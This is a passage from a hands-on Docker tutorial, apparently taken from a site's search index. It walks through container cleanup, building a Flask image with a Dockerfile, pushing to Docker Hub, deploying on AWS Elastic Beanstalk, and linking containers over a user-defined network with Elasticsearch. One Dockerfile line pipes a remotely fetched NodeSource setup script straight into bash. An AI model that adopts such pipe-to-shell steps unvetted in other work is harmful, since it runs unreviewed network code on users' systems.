On deletion, you should see the IDs echoed back to you. If you have a bunch of containers to delete in one go, copy-pasting IDs can be tedious. In that case, you can simply run -
$ docker rm $(docker ps -a -q -f status=exited)\n
This command deletes all containers that have a status of exited
. In case you're wondering, the -q
flag, only returns the numeric IDs and -f
filters output based on conditions provided. One last thing that'll be useful is the --rm
flag that can be passed to docker run
which automatically deletes the container once it's exited from. For one off docker runs, --rm
flag is very useful.
In later versions of Docker, the docker container prune
command can be used to achieve the same effect.
$ docker container prune\nWARNING! This will remove all stopped containers.\nAre you sure you want to continue? [y/N] y\nDeleted Containers:\n4a7f7eebae0f63178aff7eb0aa39f0627a203ab2df258c1a00b456cf20063\nf98f9c2aa1eaf727e4ec9c0283bcaa4762fbdba7f26191f26c97f64090360\n\nTotal reclaimed space: 212 B\n
Lastly, you can also delete images that you no longer need by running docker rmi
.
In the last section, we used a lot of Docker-specific jargon which might be confusing to some. So before we go further, let me clarify some terminology that is used frequently in the Docker ecosystem.
docker pull
command to download the busybox image.docker run
which we did using the busybox image that we downloaded. A list of running containers can be seen using the docker ps
command.Great! So we have now looked at docker run
, played with a Docker container and also got a hang of some terminology. Armed with all this knowledge, we are now ready to get to the real-stuff, i.e. deploying web applications with Docker!
Let's start by taking baby-steps. The first thing we're going to look at is how we can run a dead-simple static website. We're going to pull a Docker image from Docker Hub, run the container and see how easy it is to run a webserver.
Let's begin. The image that we are going to use is a single-page website that I've already created for the purpose of this demo and hosted on the registry - prakhar1989/static-site
. We can download and run the image directly in one go using docker run
. As noted above, the --rm
flag automatically removes the container when it exits and the -it
flag specifies an interactive terminal which makes it easier to kill the container with Ctrl+C (on windows).
$ docker run --rm -it prakhar1989/static-site\n
Since the image doesn't exist locally, the client will first fetch the image from the registry and then run the image. If all goes well, you should see a Nginx is running...
message in your terminal. Okay now that the server is running, how to see the website? What port is it running on? And more importantly, how do we access the container directly from our host machine? Hit Ctrl+C to stop the container.
Well, in this case, the client is not exposing any ports so we need to re-run the docker run
command to publish ports. While we're at it, we should also find a way so that our terminal is not attached to the running container. This way, you can happily close your terminal and keep the container running. This is called detached mode.
$ docker run -d -P --name static-site prakhar1989/static-site\ne61d12292d69556eabe2a44c16cbd54486b2527e2ce4f95438e504afb7b02810\n
In the above command, -d
will detach our terminal, -P
will publish all exposed ports to random ports and finally --name
corresponds to a name we want to give. Now we can see the ports by running the docker port [CONTAINER]
command
$ docker port static-site\n80/tcp -> 0.0.0.0:32769\n443/tcp -> 0.0.0.0:32768\n
You can open http://localhost:32769 in your browser.
Note: If you're using docker-toolbox, then you might need to use docker-machine ip default
to get the IP.
You can also specify a custom port to which the client will forward connections to the container.
$ docker run -p 8888:80 prakhar1989/static-site\nNginx is running...\n
To stop a detached container, run docker stop
by giving the container ID. In this case, we can use the name static-site
we used to start the container.
$ docker stop static-site\nstatic-site\n
I'm sure you agree that was super simple. To deploy this on a real server you would just need to install Docker, and run the above Docker command. Now that you've seen how to run a webserver inside a Docker image, you must be wondering - how do I create my own Docker image? This is the question we'll be exploring in the next section.
"},{"location":"CTF/Docker/#docker-images","title":"Docker Images","text":"We've looked at images before, but in this section we'll dive deeper into what Docker images are and build our own image! Lastly, we'll also use that image to run our application locally and finally deploy on AWS to share it with our friends! Excited? Great! Let's get started.
Docker images are the basis of containers. In the previous example, we pulled the Busybox image from the registry and asked the Docker client to run a container based on that image. To see the list of images that are available locally, use the docker images
command.
$ docker images\nREPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE\nprakhar1989/catnip latest c7ffb5626a50 2 hours ago 697.9 MB\nprakhar1989/static-site latest b270625a1631 21 hours ago 133.9 MB\npython 3-onbuild cf4002b2c383 5 days ago 688.8 MB\nmartin/docker-cleanup-volumes latest b42990daaca2 7 weeks ago 22.14 MB\nubuntu latest e9ae3c220b23 7 weeks ago 187.9 MB\nbusybox latest c51f86c28340 9 weeks ago 1.109 MB\nhello-world latest 0a6ba66e537a 11 weeks ago 960 B\n
The above gives a list of images that I've pulled from the registry, along with ones that I've created myself (we'll shortly see how). The TAG
refers to a particular snapshot of the image and the IMAGE ID
is the corresponding unique identifier for that image.
For simplicity, you can think of an image akin to a git repository - images can be committed with changes and have multiple versions. If you don't provide a specific version number, the client defaults to latest
. For example, you can pull a specific version of ubuntu
image
$ docker pull ubuntu:18.04\n
To get a new Docker image you can either get it from a registry (such as the Docker Hub) or create your own. There are tens of thousands of images available on Docker Hub. You can also search for images directly from the command line using docker search
.
An important distinction to be aware of when it comes to images is the difference between base and child images.
Then there are official and user images, which can be both base and child images.
python
, ubuntu
, busybox
and hello-world
images are official images.user/image-name
.Now that we have a better understanding of images, it's time to create our own. Our goal in this section will be to create an image that sandboxes a simple Flask application. For the purposes of this workshop, I've already created a fun little Flask app that displays a random cat .gif
every time it is loaded - because you know, who doesn't like cats? If you haven't already, please go ahead and clone the repository locally like so -
$ git clone https://github.com/prakhar1989/docker-curriculum.git\n$ cd docker-curriculum/flask-app\n
This should be cloned on the machine where you are running the docker commands and not inside a docker container.
The next step now is to create an image with this web app. As mentioned above, all user images are based on a base image. Since our application is written in Python, the base image we're going to use will be Python 3.
"},{"location":"CTF/Docker/#dockerfile","title":"Dockerfile","text":"A Dockerfile is a simple text file that contains a list of commands that the Docker client calls while creating an image. It's a simple way to automate the image creation process. The best part is that the commands you write in a Dockerfile are almost identical to their equivalent Linux commands. This means you don't really have to learn new syntax to create your own dockerfiles.
The application directory does contain a Dockerfile but since we're doing this for the first time, we'll create one from scratch. To start, create a new blank file in our favorite text-editor and save it in the same folder as the flask app by the name of Dockerfile
.
We start with specifying our base image. Use the FROM
keyword to do that -
FROM python:3.8\n
The next step usually is to write the commands of copying the files and installing the dependencies. First, we set a working directory and then copy all the files for our app.
# set a directory for the app\nWORKDIR /usr/src/app\n\n# copy all the files to the container\nCOPY . .\n
Now, that we have the files, we can install the dependencies.
# install dependencies\nRUN pip install --no-cache-dir -r requirements.txt\n
The next thing we need to specify is the port number that needs to be exposed. Since our flask app is running on port 5000
, that's what we'll indicate.
EXPOSE 5000\n
The last step is to write the command for running the application, which is simply - python ./app.py
. We use the CMD command to do that -
CMD [\"python\", \"./app.py\"]\n
The primary purpose of CMD
is to tell the container which command it should run when it is started. With that, our Dockerfile
is now ready. This is how it looks -
FROM python:3.8\n\n# set a directory for the app\nWORKDIR /usr/src/app\n\n# copy all the files to the container\nCOPY . .\n\n# install dependencies\nRUN pip install --no-cache-dir -r requirements.txt\n\n# define the port number the container should expose\nEXPOSE 5000\n\n# run the command\nCMD [\"python\", \"./app.py\"]\n
Now that we have our Dockerfile
, we can build our image. The docker build
command does the heavy-lifting of creating a Docker image from a Dockerfile
.
The section below shows you the output of running the same. Before you run the command yourself (don't forget the period), make sure to replace my username with yours. This username should be the same one you created when you registered on Docker hub. If you haven't done that yet, please go ahead and create an account. The docker build
command is quite simple - it takes an optional tag name with -t
and a location of the directory containing the Dockerfile
.
$ docker build -t yourusername/catnip .\nSending build context to Docker daemon 8.704 kB\nStep 1 : FROM python:3.8\n# Executing 3 build triggers...\nStep 1 : COPY requirements.txt /usr/src/app/\n ---> Using cache\nStep 1 : RUN pip install --no-cache-dir -r requirements.txt\n ---> Using cache\nStep 1 : COPY . /usr/src/app\n ---> 1d61f639ef9e\nRemoving intermediate container 4de6ddf5528c\nStep 2 : EXPOSE 5000\n ---> Running in 12cfcf6d67ee\n ---> f423c2f179d1\nRemoving intermediate container 12cfcf6d67ee\nStep 3 : CMD python ./app.py\n ---> Running in f01401a5ace9\n ---> 13e87ed1fbc2\nRemoving intermediate container f01401a5ace9\nSuccessfully built 13e87ed1fbc2\n
If you don't have the python:3.8
image, the client will first pull the image and then create your image. Hence, your output from running the command will look different from mine. If everything went well, your image should be ready! Run docker images
and see if your image shows.
The last step in this section is to run the image and see if it actually works (replacing my username with yours).
$ docker run -p 8888:5000 yourusername/catnip\n * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)\n
The command we just ran used port 5000 for the server inside the container and exposed this externally on port 8888. Head over to the URL with port 8888, where your app should be live.
Congratulations! You have successfully created your first docker image.
"},{"location":"CTF/Docker/#docker-on-aws","title":"Docker on AWS","text":"What good is an application that can't be shared with friends, right? So in this section we are going to see how we can deploy our awesome application to the cloud so that we can share it with our friends! We're going to use AWS Elastic Beanstalk to get our application up and running in a few clicks. We'll also see how easy it is to make our application scalable and manageable with Beanstalk!
"},{"location":"CTF/Docker/#docker-push","title":"Docker push","text":"The first thing that we need to do before we deploy our app to AWS is to publish our image on a registry which can be accessed by AWS. There are many different Docker registries you can use (you can even host your own). For now, let's use Docker Hub to publish the image.
If this is the first time you are pushing an image, the client will ask you to login. Provide the same credentials that you used for logging into Docker Hub.
$ docker login\nLogin in with your Docker ID to push and pull images from Docker Hub. If you do not have a Docker ID, head over to https://hub.docker.com to create one.\nUsername: yourusername\nPassword:\nWARNING! Your password will be stored unencrypted in /Users/yourusername/.docker/config.json\nConfigure a credential helper to remove this warning. See\nhttps://docs.docker.com/engine/reference/commandline/login/credential-store\n\nLogin Succeeded\n
To publish, just type the below command remembering to replace the name of the image tag above with yours. It is important to have the format of yourusername/image_name
so that the client knows where to publish.
$ docker push yourusername/catnip\n
Once that is done, you can view your image on Docker Hub. For example, here's the web page for my image.
Note: One thing that I'd like to clarify before we go ahead is that it is not imperative to host your image on a public registry (or any registry) in order to deploy to AWS. In case you're writing code for the next million-dollar unicorn startup you can totally skip this step. The reason why we're pushing our images publicly is that it makes deployment super simple by skipping a few intermediate configuration steps.
Now that your image is online, anyone who has docker installed can play with your app by typing just a single command.
$ docker run -p 8888:5000 yourusername/catnip\n
If you've pulled your hair out in setting up local dev environments / sharing application configuration in the past, you very well know how awesome this sounds. That's why Docker is so cool!
"},{"location":"CTF/Docker/#beanstalk","title":"Beanstalk","text":"AWS Elastic Beanstalk (EB) is a PaaS (Platform as a Service) offered by AWS. If you've used Heroku, Google App Engine etc. you'll feel right at home. As a developer, you just tell EB how to run your app and it takes care of the rest - including scaling, monitoring and even updates. In April 2014, EB added support for running single-container Docker deployments which is what we'll use to deploy our app. Although EB has a very intuitive CLI, it does require some setup, and to keep things simple we'll use the web UI to launch our application.
To follow along, you need a functioning AWS account. If you haven't already, please go ahead and do that now - you will need to enter your credit card information. But don't worry, it's free and anything we do in this tutorial will also be free! Let's get started.
Here are the steps:
Dockerrun.aws.json
file located in the flask-app
folder and edit the Name
of the image to your image's name. Don't worry, I'll explain the contents of the file shortly. When you are done, click on the radio button for \"Upload your Code\", choose this file, and click on \"Upload\".While we wait, let's quickly see what the Dockerrun.aws.json
file contains. This file is basically an AWS specific file that tells EB details about our application and docker configuration.
{\n \"AWSEBDockerrunVersion\": \"1\",\n \"Image\": {\n \"Name\": \"prakhar1989/catnip\",\n \"Update\": \"true\"\n },\n \"Ports\": [\n {\n \"ContainerPort\": 5000,\n \"HostPort\": 8000\n }\n ],\n \"Logging\": \"/var/log/nginx\"\n}\n
The file should be pretty self-explanatory, but you can always reference the official documentation for more information. We provide the name of the image that EB should use along with a port that the container should open.
Hopefully by now, our instance should be ready. Head over to the EB page and you should see a green tick indicating that your app is alive and kicking.
Go ahead and open the URL in your browser and you should see the application in all its glory. Feel free to email / IM / snapchat this link to your friends and family so that they can enjoy a few cat gifs, too.
"},{"location":"CTF/Docker/#cleanup","title":"Cleanup","text":"Once you done basking in the glory of your app, remember to terminate the environment so that you don't end up getting charged for extra resources.
Congratulations! You have deployed your first Docker application! That might seem like a lot of steps, but with the command-line tool for EB you can almost mimic the functionality of Heroku in a few keystrokes! Hopefully, you agree that Docker takes away a lot of the pains of building and deploying applications in the cloud. I would encourage you to read the AWS documentation on single-container Docker environments to get an idea of what features exist.
In the next (and final) part of the tutorial, we'll up the ante a bit and deploy an application that mimics the real-world more closely; an app with a persistent back-end storage tier. Let's get straight to it!
"},{"location":"CTF/Docker/#multi-container-environments","title":"MULTI-CONTAINER ENVIRONMENTS","text":"In the last section, we saw how easy and fun it is to run applications with Docker. We started with a simple static website and then tried a Flask app. Both of which we could run locally and in the cloud with just a few commands. One thing both these apps had in common was that they were running in a single container.
Those of you who have experience running services in production know that usually apps nowadays are not that simple. There's almost always a database (or any other kind of persistent storage) involved. Systems such as Redis and Memcached have become de rigueur of most web application architectures. Hence, in this section we are going to spend some time learning how to Dockerize applications which rely on different services to run.
In particular, we are going to see how we can run and manage multi-container docker environments. Why multi-container you might ask? Well, one of the key points of Docker is the way it provides isolation. The idea of bundling a process with its dependencies in a sandbox (called containers) is what makes this so powerful.
Just like it's a good strategy to decouple your application tiers, it is wise to keep containers for each of the services separate. Each tier is likely to have different resource needs and those needs might grow at different rates. By separating the tiers into different containers, we can compose each tier using the most appropriate instance type based on different resource needs. This also plays in very well with the whole microservices movement which is one of the main reasons why Docker (or any other container technology) is at the forefront of modern microservices architectures.
"},{"location":"CTF/Docker/#sf-food-trucks","title":"SF Food Trucks","text":"The app that we're going to Dockerize is called SF Food Trucks. My goal in building this app was to have something that is useful (in that it resembles a real-world application), relies on at least one service, but is not too complex for the purpose of this tutorial. This is what I came up with.
The app's backend is written in Python (Flask) and for search it uses Elasticsearch. Like everything else in this tutorial, the entire source is available on Github. We'll use this as our candidate application for learning out how to build, run and deploy a multi-container environment.
First up, let's clone the repository locally.
$ git clone https://github.com/prakhar1989/FoodTrucks\n$ cd FoodTrucks\n$ tree -L 2\n.\n\u251c\u2500\u2500 Dockerfile\n\u251c\u2500\u2500 README.md\n\u251c\u2500\u2500 aws-compose.yml\n\u251c\u2500\u2500 docker-compose.yml\n\u251c\u2500\u2500 flask-app\n\u2502 \u251c\u2500\u2500 app.py\n\u2502 \u251c\u2500\u2500 package-lock.json\n\u2502 \u251c\u2500\u2500 package.json\n\u2502 \u251c\u2500\u2500 requirements.txt\n\u2502 \u251c\u2500\u2500 static\n\u2502 \u251c\u2500\u2500 templates\n\u2502 \u2514\u2500\u2500 webpack.config.js\n\u251c\u2500\u2500 setup-aws-ecs.sh\n\u251c\u2500\u2500 setup-docker.sh\n\u251c\u2500\u2500 shot.png\n\u2514\u2500\u2500 utils\n \u251c\u2500\u2500 generate_geojson.py\n \u2514\u2500\u2500 trucks.geojson\n
The flask-app
folder contains the Python application, while the utils
folder has some utilities to load the data into Elasticsearch. The directory also contains some YAML files and a Dockerfile, all of which we'll see in greater detail as we progress through this tutorial. If you are curious, feel free to take a look at the files.
Now that you're excited (hopefully), let's think of how we can Dockerize the app. We can see that the application consists of a Flask backend server and an Elasticsearch service. A natural way to split this app would be to have two containers - one running the Flask process and another running the Elasticsearch (ES) process. That way if our app becomes popular, we can scale it by adding more containers depending on where the bottleneck lies.
Great, so we need two containers. That shouldn't be hard right? We've already built our own Flask container in the previous section. And for Elasticsearch, let's see if we can find something on the hub.
$ docker search elasticsearch\nNAME DESCRIPTION STARS OFFICIAL AUTOMATED\nelasticsearch Elasticsearch is a powerful open source se... 697 [OK]\nitzg/elasticsearch Provides an easily configurable Elasticsea... 17 [OK]\ntutum/elasticsearch Elasticsearch image - listens in port 9200. 15 [OK]\nbarnybug/elasticsearch Latest Elasticsearch 1.7.2 and previous re... 15 [OK]\ndigitalwonderland/elasticsearch Latest Elasticsearch with Marvel & Kibana 12 [OK]\nmonsantoco/elasticsearch ElasticSearch Docker image 9 [OK]\n
Quite unsurprisingly, there exists an officially supported image for Elasticsearch. To get ES running, we can simply use docker run
and have a single-node ES container running locally within no time.
Note: Elastic, the company behind Elasticsearch, maintains its own registry for Elastic products. It's recommended to use the images from that registry if you plan to use Elasticsearch.
Let's first pull the image
$ docker pull docker.elastic.co/elasticsearch/elasticsearch:6.3.2\n
and then run it in development mode by specifying ports and setting an environment variable that configures the Elasticsearch cluster to run as a single-node.
$ docker run -d --name es -p 9200:9200 -p 9300:9300 -e \"discovery.type=single-node\" docker.elastic.co/elasticsearch/elasticsearch:6.3.2\n277451c15ec183dd939e80298ea4bcf55050328a39b04124b387d668e3ed3943\n
Note: If your container runs into memory issues, you might need to tweak some JVM flags to limit its memory consumption.
As seen above, we use --name es
to give our container a name which makes it easy to use in subsequent commands. Once the container is started, we can see the logs by running docker container logs
with the container name (or ID) to inspect the logs. You should see logs similar to below if Elasticsearch started successfully.
Note: Elasticsearch takes a few seconds to start so you might need to wait before you see initialized
in the logs.
$ docker container ls\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n277451c15ec1 docker.elastic.co/elasticsearch/elasticsearch:6.3.2 \"/usr/local/bin/dock\u2026\" 2 minutes ago Up 2 minutes 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp es\n\n$ docker container logs es\n[2018-07-29T05:49:09,304][INFO ][o.e.n.Node ] [] initializing ...\n[2018-07-29T05:49:09,385][INFO ][o.e.e.NodeEnvironment ] [L1VMyzt] using [1] data paths, mounts [[/ (overlay)]], net usable_space [54.1gb], net total_space [62.7gb], types [overlay]\n[2018-07-29T05:49:09,385][INFO ][o.e.e.NodeEnvironment ] [L1VMyzt] heap size [990.7mb], compressed ordinary object pointers [true]\n[2018-07-29T05:49:11,979][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-security]\n[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-sql]\n[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-upgrade]\n[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-watcher]\n[2018-07-29T05:49:11,981][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded plugin [ingest-geoip]\n[2018-07-29T05:49:11,981][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded plugin [ingest-user-agent]\n[2018-07-29T05:49:17,659][INFO ][o.e.d.DiscoveryModule ] [L1VMyzt] using discovery type [single-node]\n[2018-07-29T05:49:18,962][INFO ][o.e.n.Node ] [L1VMyzt] initialized\n[2018-07-29T05:49:18,963][INFO ][o.e.n.Node ] [L1VMyzt] starting ...\n[2018-07-29T05:49:19,218][INFO ][o.e.t.TransportService ] [L1VMyzt] publish_address {172.17.0.2:9300}, bound_addresses {0.0.0.0:9300}\n[2018-07-29T05:49:19,302][INFO ][o.e.x.s.t.n.SecurityNetty4HttpServerTransport] [L1VMyzt] publish_address {172.17.0.2:9200}, bound_addresses {0.0.0.0:9200}\n[2018-07-29T05:49:19,303][INFO ][o.e.n.Node ] [L1VMyzt] started\n[2018-07-29T05:49:19,439][WARN ][o.e.x.s.a.s.m.NativeRoleMappingStore] [L1VMyzt] Failed to clear cache for realms [[]]\n[2018-07-29T05:49:19,542][INFO ][o.e.g.GatewayService ] [L1VMyzt] recovered [0] indices into cluster_state\n
Now, lets try to see if can send a request to the Elasticsearch container. We use the 9200
port to send a cURL
request to the container.
$ curl 0.0.0.0:9200\n{\n \"name\" : \"ijJDAOm\",\n \"cluster_name\" : \"docker-cluster\",\n \"cluster_uuid\" : \"a_nSV3XmTCqpzYYzb-LhNw\",\n \"version\" : {\n \"number\" : \"6.3.2\",\n \"build_flavor\" : \"default\",\n \"build_type\" : \"tar\",\n \"build_hash\" : \"053779d\",\n \"build_date\" : \"2018-07-20T05:20:23.451332Z\",\n \"build_snapshot\" : false,\n \"lucene_version\" : \"7.3.1\",\n \"minimum_wire_compatibility_version\" : \"5.6.0\",\n \"minimum_index_compatibility_version\" : \"5.0.0\"\n },\n \"tagline\" : \"You Know, for Search\"\n}\n
Sweet! It's looking good! While we are at it, let's get our Flask container running too. But before we get to that, we need a Dockerfile
. In the last section, we used python:3.8
image as our base image. This time, however, apart from installing Python dependencies via pip
, we want our application to also generate our minified Javascript file for production. For this, we'll require Nodejs. Since we need a custom build step, we'll start from the ubuntu
base image to build our Dockerfile
from scratch.
Note: if you find that an existing image doesn't cater to your needs, feel free to start from another base image and tweak it yourself. For most of the images on Docker Hub, you should be able to find the corresponding Dockerfile
on Github. Reading through existing Dockerfiles is one of the best ways to learn how to roll your own.
Our Dockerfile for the flask app looks like below -
# start from base\nFROM ubuntu:18.04\n\nMAINTAINER Prakhar Srivastav <prakhar@prakhar.me>\n\n# install system-wide deps for python and node\nRUN apt-get -yqq update\nRUN apt-get -yqq install python3-pip python3-dev curl gnupg\nRUN curl -sL https://deb.nodesource.com/setup_10.x | bash\nRUN apt-get install -yq nodejs\n\n# copy our application code\nADD flask-app /opt/flask-app\nWORKDIR /opt/flask-app\n\n# fetch app specific deps\nRUN npm install\nRUN npm run build\nRUN pip3 install -r requirements.txt\n\n# expose port\nEXPOSE 5000\n\n# start app\nCMD [ \"python3\", \"./app.py\" ]\n
Quite a few new things here so let's quickly go over this file. We start off with the Ubuntu LTS base image and use the package manager apt-get
to install the dependencies namely - Python and Node. The yqq
flag is used to suppress output and assumes \"Yes\" to all prompts.
We then use the ADD
command to copy our application into a new volume in the container - /opt/flask-app
. This is where our code will reside. We also set this as our working directory, so that the following commands will be run in the context of this location. Now that our system-wide dependencies are installed, we get around to installing app-specific ones. First off we tackle Node by installing the packages from npm and running the build command as defined in our package.json
file. We finish the file off by installing the Python packages, exposing the port and defining the CMD
to run as we did in the last section.
Finally, we can go ahead, build the image and run the container (replace yourusername
with your username below).
$ docker build -t yourusername/foodtrucks-web .\n
In the first run, this will take some time as the Docker client will download the ubuntu image, run all the commands and prepare your image. Re-running docker build
after any subsequent changes you make to the application code will almost be instantaneous. Now let's try running our app.
$ docker run -P --rm yourusername/foodtrucks-web\nUnable to connect to ES. Retying in 5 secs...\nUnable to connect to ES. Retying in 5 secs...\nUnable to connect to ES. Retying in 5 secs...\nOut of retries. Bailing out...\n
Oops! Our flask app was unable to run since it was unable to connect to Elasticsearch. How do we tell one container about the other container and get them to talk to each other? The answer lies in the next section.
"},{"location":"CTF/Docker/#docker-network","title":"Docker Network","text":"Before we talk about the features Docker provides especially to deal with such scenarios, let's see if we can figure out a way to get around the problem. Hopefully, this should give you an appreciation for the specific feature that we are going to study.
Okay, so let's run docker container ls
(which is same as docker ps
) and see what we have.
$ docker container ls\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n277451c15ec1 docker.elastic.co/elasticsearch/elasticsearch:6.3.2 \"/usr/local/bin/dock\u2026\" 17 minutes ago Up 17 minutes 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp es\n
So we have one ES container running on 0.0.0.0:9200
port which we can directly access. If we can tell our Flask app to connect to this URL, it should be able to connect and talk to ES, right? Let's dig into our Python code and see how the connection details are defined.
es = Elasticsearch(host='es')\n
To make this work, we need to tell the Flask container that the ES container is running on 0.0.0.0
host (the port by default is 9200
) and that should make it work, right? Unfortunately, that is not correct since the IP 0.0.0.0
is the IP to access ES container from the host machine i.e. from my Mac. Another container will not be able to access this on the same IP address. Okay if not that IP, then which IP address should the ES container be accessible by? I'm glad you asked this question.
Now is a good time to start our exploration of networking in Docker. When docker is installed, it creates three networks automatically.
$ docker network ls\nNETWORK ID NAME DRIVER SCOPE\nc2c695315b3a bridge bridge local\na875bec5d6fd host host local\nead0e804a67b none null local\n
The bridge network is the network in which containers are run by default. So that means that when I ran the ES container, it was running in this bridge network. To validate this, let's inspect the network.
$ docker network inspect bridge\n[\n {\n \"Name\": \"bridge\",\n \"Id\": \"c2c695315b3aaf8fc30530bb3c6b8f6692cedd5cc7579663f0550dfdd21c9a26\",\n \"Created\": \"2018-07-28T20:32:39.405687265Z\",\n \"Scope\": \"local\",\n \"Driver\": \"bridge\",\n \"EnableIPv6\": false,\n \"IPAM\": {\n \"Driver\": \"default\",\n \"Options\": null,\n \"Config\": [\n {\n \"Subnet\": \"172.17.0.0/16\",\n \"Gateway\": \"172.17.0.1\"\n }\n ]\n },\n \"Internal\": false,\n \"Attachable\": false,\n \"Ingress\": false,\n \"ConfigFrom\": {\n \"Network\": \"\"\n },\n \"ConfigOnly\": false,\n \"Containers\": {\n \"277451c15ec183dd939e80298ea4bcf55050328a39b04124b387d668e3ed3943\": {\n \"Name\": \"es\",\n \"EndpointID\": \"5c417a2fc6b13d8ec97b76bbd54aaf3ee2d48f328c3f7279ee335174fbb4d6bb\",\n \"MacAddress\": \"02:42:ac:11:00:02\",\n \"IPv4Address\": \"172.17.0.2/16\",\n \"IPv6Address\": \"\"\n }\n },\n \"Options\": {\n \"com.docker.network.bridge.default_bridge\": \"true\",\n \"com.docker.network.bridge.enable_icc\": \"true\",\n \"com.docker.network.bridge.enable_ip_masquerade\": \"true\",\n \"com.docker.network.bridge.host_binding_ipv4\": \"0.0.0.0\",\n \"com.docker.network.bridge.name\": \"docker0\",\n \"com.docker.network.driver.mtu\": \"1500\"\n },\n \"Labels\": {}\n }\n]\n
You can see that our container 277451c15ec1
is listed under the Containers
section in the output. What we also see is the IP address this container has been allotted - 172.17.0.2
. Is this the IP address that we're looking for? Let's find out by running our flask container and trying to access this IP.
$ docker run -it --rm yourusername/foodtrucks-web bash\nroot@35180ccc206a:/opt/flask-app# curl 172.17.0.2:9200\n{\n \"name\" : \"Jane Foster\",\n \"cluster_name\" : \"elasticsearch\",\n \"version\" : {\n \"number\" : \"2.1.1\",\n \"build_hash\" : \"40e2c53a6b6c2972b3d13846e450e66f4375bd71\",\n \"build_timestamp\" : \"2015-12-15T13:05:55Z\",\n \"build_snapshot\" : false,\n \"lucene_version\" : \"5.3.1\"\n },\n \"tagline\" : \"You Know, for Search\"\n}\nroot@35180ccc206a:/opt/flask-app# exit\n
This should be fairly straightforward to you by now. We start the container in the interactive mode with the bash
process. The --rm
is a convenient flag for running one off commands since the container gets cleaned up when its work is done. We try a curl
but we need to install it first. Once we do that, we see that we can indeed talk to ES on 172.17.0.2:9200
. Awesome!
Although we have figured out a way to make the containers talk to each other, there are still two problems with this approach -
es
hostname stands for 172.17.0.2
or some other IP since the IP can change?The good news that Docker has a great answer to our questions. It allows us to define our own networks while keeping them isolated using the docker network
command.
Let's first go ahead and create our own network.
$ docker network create foodtrucks-net\n0815b2a3bb7a6608e850d05553cc0bda98187c4528d94621438f31d97a6fea3c\n\n$ docker network ls\nNETWORK ID NAME DRIVER SCOPE\nc2c695315b3a bridge bridge local\n0815b2a3bb7a foodtrucks-net bridge local\na875bec5d6fd host host local\nead0e804a67b none null local\n
The network create
command creates a new bridge network, which is what we need at the moment. In terms of Docker, a bridge network uses a software bridge which allows containers connected to the same bridge network to communicate, while providing isolation from containers which are not connected to that bridge network. The Docker bridge driver automatically installs rules in the host machine so that containers on different bridge networks cannot communicate directly with each other. There are other kinds of networks that you can create, and you are encouraged to read about them in the official docs.
Now that we have a network, we can launch our containers inside this network using the --net
flag. Let's do that - but first, in order to launch a new container with the same name, we will stop and remove our ES container that is running in the bridge (default) network.
$ docker container stop es\nes\n\n$ docker container rm es\nes\n\n$ docker run -d --name es --net foodtrucks-net -p 9200:9200 -p 9300:9300 -e \"discovery.type=single-node\" docker.elastic.co/elasticsearch/elasticsearch:6.3.2\n13d6415f73c8d88bddb1f236f584b63dbaf2c3051f09863a3f1ba219edba3673\n\n$ docker network inspect foodtrucks-net\n[\n {\n \"Name\": \"foodtrucks-net\",\n \"Id\": \"0815b2a3bb7a6608e850d05553cc0bda98187c4528d94621438f31d97a6fea3c\",\n \"Created\": \"2018-07-30T00:01:29.1500984Z\",\n \"Scope\": \"local\",\n \"Driver\": \"bridge\",\n \"EnableIPv6\": false,\n \"IPAM\": {\n \"Driver\": \"default\",\n \"Options\": {},\n \"Config\": [\n {\n \"Subnet\": \"172.18.0.0/16\",\n \"Gateway\": \"172.18.0.1\"\n }\n ]\n },\n \"Internal\": false,\n \"Attachable\": false,\n \"Ingress\": false,\n \"ConfigFrom\": {\n \"Network\": \"\"\n },\n \"ConfigOnly\": false,\n \"Containers\": {\n \"13d6415f73c8d88bddb1f236f584b63dbaf2c3051f09863a3f1ba219edba3673\": {\n \"Name\": \"es\",\n \"EndpointID\": \"29ba2d33f9713e57eb6b38db41d656e4ee2c53e4a2f7cf636bdca0ec59cd3aa7\",\n \"MacAddress\": \"02:42:ac:12:00:02\",\n \"IPv4Address\": \"172.18.0.2/16\",\n \"IPv6Address\": \"\"\n }\n },\n \"Options\": {},\n \"Labels\": {}\n }\n]\n
As you can see, our es
container is now running inside the foodtrucks-net
bridge network. Now let's inspect what happens when we launch in our foodtrucks-net
network.
$ docker run -it --rm --net foodtrucks-net yourusername/foodtrucks-web bash\nroot@9d2722cf282c:/opt/flask-app# curl es:9200\n{\n \"name\" : \"wWALl9M\",\n \"cluster_name\" : \"docker-cluster\",\n \"cluster_uuid\" : \"BA36XuOiRPaghPNBLBHleQ\",\n \"version\" : {\n \"number\" : \"6.3.2\",\n \"build_flavor\" : \"default\",\n \"build_type\" : \"tar\",\n \"build_hash\" : \"053779d\",\n \"build_date\" : \"2018-07-20T05:20:23.451332Z\",\n \"build_snapshot\" : false,\n \"lucene_version\" : \"7.3.1\",\n \"minimum_wire_compatibility_version\" : \"5.6.0\",\n \"minimum_index_compatibility_version\" : \"5.0.0\"\n },\n \"tagline\" : \"You Know, for Search\"\n}\nroot@53af252b771a:/opt/flask-app# ls\napp.py node_modules package.json requirements.txt static templates webpack.config.js\nroot@53af252b771a:/opt/flask-app# python3 app.py\nIndex not found...\nLoading data in elasticsearch ...\nTotal trucks loaded: 733\n * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)\nroot@53af252b771a:/opt/flask-app# exit\n
Wohoo! That works! On user-defined networks like foodtrucks-net, containers can not only communicate by IP address, but can also resolve a container name to an IP address. This capability is called automatic service discovery. Great! Let's launch our Flask container for real now -
